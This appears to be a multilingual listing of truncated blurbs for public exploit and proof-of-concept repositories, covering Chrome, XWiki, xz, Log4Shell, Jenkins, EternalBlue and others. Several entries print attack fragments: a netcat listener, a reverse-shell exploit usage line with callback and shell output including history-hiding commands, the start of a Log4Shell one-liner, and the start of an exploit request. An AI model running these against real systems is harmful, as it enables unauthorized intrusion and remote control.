CVE-2026-79224

CVE-2026-79224 is a use after free vulnerability in Chromecast within Google Chrome prior to version 152.0.7977.65 . A remote attacker who had already compromised the renderer process could exploit it via a crafted HTML page to execute arbitrary code outside the sandbox . Chromium classified the ...

CVE-2026-79282

Use after free in ANGLE in Google Chrome on on Android prior to 152.0.7977.65 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: Critical...

cve-2025-24893

CVE-2025-24893 XWiki RCE 익스플로잇 CVE-2025-24893 를 익스플로잇하는 간단한 Python3 스크립트입니다. 이는 XWiki 플랫폼의 원격 코드 실행 취약점으로, Groovy 기반 비동기 매크로와 설정 가능한 리버스 셸 페이로드를 사용합니다. ⚠️ 경고: 이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다. 소유하지 않거나 명시적 허가 없이 시스템에 대해 무단 사용하는 것은 불법적이고 비윤리적입니다. 목차 기능 요구 사항 설치 사용법 감지 및 프로토콜 대체 리버스 셸 페이로드 라이선스 면책 조항...

xzbot

xzbot xz バックドア CVE-2024-3094 の調査。 以下を含みます: ハニーポット: エクスプロイト試行を検出するための偽の脆弱サーバー ed448 パッチ: liblzma.so を独自の ED448 公開鍵を使用するようにパッチする バックドアの形式: バックドアペイロードの形式 バックドアのデモ: ED448 秘密鍵の知識を前提として RCE をトリガーする CLI honeypot openssh に、バックドア形式に一致する公開鍵 N を使用した接続試行をすべてログに記録する シンプルなパッチについては、openssh.patch を参照してください。...

CNTA-2019-0014xCVE-2019-2725

CNTA-2019-0014-CVE-2019-2725 免責事項:本ツールはセキュリティテスト学習目的のみに使用し、不正使用は禁止します root@kitploit: Usage:python3 weblogicrce.py url command is echo? win or linux 詳細な分析はこちら: https://icematcha.win/?p=1174...

CVE-2025-55182

CVE-2025-55182 - Explotación de RCE en React Server Components Exploit de CLI en Python para CVE-2025-55182, una vulnerabilidad crítica de RCE en React Server Components a través de react-server-dom-webpack. Basado en: ejpir/CVE-2025-55182-poc Inicio Rápido Pruebas con Docker root@kitploit: Unpac...

CVE-2020-0618

CVE-2020-0618 SQL Server Reporting ServicesCVE-2020-0618의 RCE 취약점 검증POC 다음 HTTP 요청을 서버로 전송하여 애플리케이션을 악용할 수 있습니다: root@kitploit: POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Content-Length: X...

CVE-2025-64424-Coolify-

Coolify CVE-2025-64424 RCE 취약점 실습 환경 수업 계획: Red74-Coolio-CVE-2025-64424 면책 조항: 이 저장소는 의도적으로 취약하게 만든 Coolify 버전을 포함하며, 교육 목적, CTF 환경 및 사이버 보안 훈련을 위해 제공됩니다. 프로덕션 환경에 배포하거나 공용 인터넷에 노출하지 마십시오. 이 실습 환경은 Coolify 버전 4.0.0-beta.420.7 이전 버전의 Git 저장소 소스 필드에서 발견된 명령 삽입/원격 코드 실행RCE 취약점CVE-2025-64424 /...

FULL-ANALYSIS---CVE-2026-45829-ChromaDB-

CVE-2026-45829 - ChromaDB Pre-Auth RCE CVSS 10.0 ⚠️ 警告 このリポジトリには、CVE-2026-45829 の動作する PoC が含まれています。 許可された管理環境でのテストのみを目的としています。 説明 ChromaDB バージョン 1.0.0 から 1.5.8 の重大な脆弱性により、認証されていない攻撃者が trustremotecode=true を使用して Hugging Face から悪意のあるモデルをロードすることで、任意のコードを実行できます。 PoC の使用方法 リスナーの準備 root@kitploit: nc...

Blackash-CVE-2017-0144

🌐 CVE-2017-0144 — EternalBlue: Microsoft Windows SMBv1 リモートコード実行の脆弱性 「ひとつのエクスプロイト。数十のマルウェアファミリー。数十億ドルの損害。」 🔍 一言でまとめると CVE-2017-0144 は、Microsoft Windows の SMBv1 サーバー実装における深刻なリモートコード実行の脆弱性である。EternalBlue として知られるエクスプロイトはこの穴を悪用し、影響の大きい攻撃（特に WannaCry）に使用された。 🔥 EternalBlue を使用したマルウェア トップ10（詳細）...

ace-vim-neovim

ace-vim-neovim 모델라인을 통한 Vim/Neovim 임의 코드 실행 CVE-2019-12735 사용법 1. 리스닝 root@kitploit: nc -vlp 9999 2. ace root@kitploit: vim pocshell.txt 그러면 localhost에서 쉘을 얻을 수 있습니다...

CVE-2022-32548-RCE-POC

CVE-2022-32548-RCE-POC DrayTek の認証なしリモートコード実行の脆弱性（CVE-2022-32548）は、/cgi-bin/wlogin.cgi のユーザー名フィールドに存在します。 技術的詳細 影響を受ける DrayTek デバイスの Web 管理インターフェースは、/cgi-bin/wlogin.cgi のログインページにおけるバッファオーバーフローの影響を受けます。攻撃者は、ログインページの aa フィールドと ab フィールドに、細工されたユーザー名やパスワードを base64 エンコードされた文字列として提供する可能性があります。 詳細: Pytho...

win32k-callback-detouring

면책 조항 이 저장소는 교육 및 방어적 연구 목적으로만 제공됩니다. 이는 개념 증명 맥락에서 Windows 내부 콜백 디스패치 메커니즘과 KernelCallbackTable 관련 제어 흐름 개념을 시연합니다. 무단 사용을 위한 것이 아닙니다 운영 배포를 위해 설계되지 않았습니다 스텔스/작전 보안 고려 사항이 없습니다 소유하거나 테스트 권한이 있는 통제된 실험실 환경에서만 사용하십시오 저자는 오용에 대해 책임을 지지 않습니다. Win32k 콜백 디토어링: 합법적인 커널-사용자 콜백 디스패치를 악용한 코드 실행 개요 이 주입 기법...

CVE-2025-55182-Dockerized

CVE-2025-55182 - Docker화된 개념 증명PoC 이 저장소는 React 서버 컴포넌트RSC에서 발생하는 심각한 원격 코드 실행RCE 취약점인 CVE-2025-55182에 대한 Docker화된 개념 증명을 포함합니다. 이 취약점은 Server Actions를 사용하는 Next.js 애플리케이션에 영향을 미칩니다. 크레딧 원본 개념 증명과 취약점 분석은 msanft가 작성했습니다. 이 저장소는 테스트와 시연을 더 쉽게 하기 위해 Docker화된 테스트 환경을 제공하여 해당 작업을 확장합니다. 빠른 시작 사전 요구 사...

sophucked

sophucked CVE-2020-25223 RCE PoC, 역방향 셸 획득. 사전 인증 없음. 일부 위협 요소를 통합하기 위해 급히 구현했습니다. 예제 사용법: root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + 포트 80에서 핸들러 시작 + 콜백을 x.x.x.x:80으로 전송 + x.x.x.x에서 연결됨 + 셸 획득! bash: 이 셸에서는 작업 제어 불가 utm:/var/confd unset HISTFILE unset HISTFILE...

Dolibarr-17.0.0-Exploit-CVE-2023-30253

Readme.md CVE-2023-30253 CVE-2023-30253 は、Dolibarr ソフトウェアにおけるセキュリティ上の欠陥であり、認証されたユーザーが注入データ内で大文字操作テクニックを利用してリモートコード実行を可能にするものです。 影響 この脆弱性は、悪意のある行為者による不正なリモートコード実行につながる可能性があり、影響を受けるシステムのセキュリティと整合性に深刻な脅威をもたらします。 この脆弱性は Dolibarr 17.0.1 で修正されました。 参照...

Log4Shell-Payloads

🚨 Colección de Payloads Log4Shell Una lista curada de payloads de explotación Log4Shell / Log4J dirigidos a: CVE-2021-45046 CVE-2022-42889 🔗 Por @nav1n0x 🔥 Payloads de una línea ✅ Oneliner 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo...

CVE-2024-0195-SpiderFlow

CVE-2024-0195 코드 생성 제어 불량 '코드 인젝션' 치명적 2024 요약 CVE-2024-0195는 spider-flow 0.4.3 웹 애플리케이션의 FunctionController.java 파일 내 FunctionService.saveFunction 함수에서 발생하는 치명적인 코드 인젝션 취약점입니다. 공격자는 원격으로 악성 코드를 주입하여 서버에서 실행시킬 수 있습니다. 이로 인해 애플리케이션이 완전히 손상될 수 있습니다. 영향.. 이 취약점은 취약한 spider-flow 애플리케이션이 호스팅된 서버에서 원격 ...

CVE-2024-23897

CVE-2024-23897 Jenkins CVE-2024-23897: 임의 파일 읽기 취약점으로 인한 RCE Jenkins는 CLI 명령어를 처리할 때 Jenkins 컨트롤러에서 명령줄 인수와 옵션을 구문 분석하기 위해 args4j 라이브러리를 사용합니다. 이 명령어 파서에는 인수에서 @ 문자 뒤에 파일 경로가 오는 경우 해당 파일의 내용으로 대체하는 기능expandAtFiles이 있습니다. 이 기능은 기본적으로 활성화되어 있으며, Jenkins 2.441 및 이전 버전, LTS 2.426.2 및 이전 버전에서는 비활성화하지...

CVE-2020-8163

CVE-2020-8163 CVE-2020-8163의 환경 및 익스플로잇: Rails 5.0.1 및 4.2.11.2에서 사용자가 제공한 로컬 이름을 통한 블라인드 원격 코드 실행 환경 구성 1. 포트 4000을 8001에 매핑하여 도커 컨테이너 생성 root@kitploit: sudo docker run --rm -it -p 8001:4000 ruby:2.3 bash 2. 컨테이너 내부에서 일부 도구 업데이트 및 설치 root@kitploit: apt update && apt install unzip libz-dev...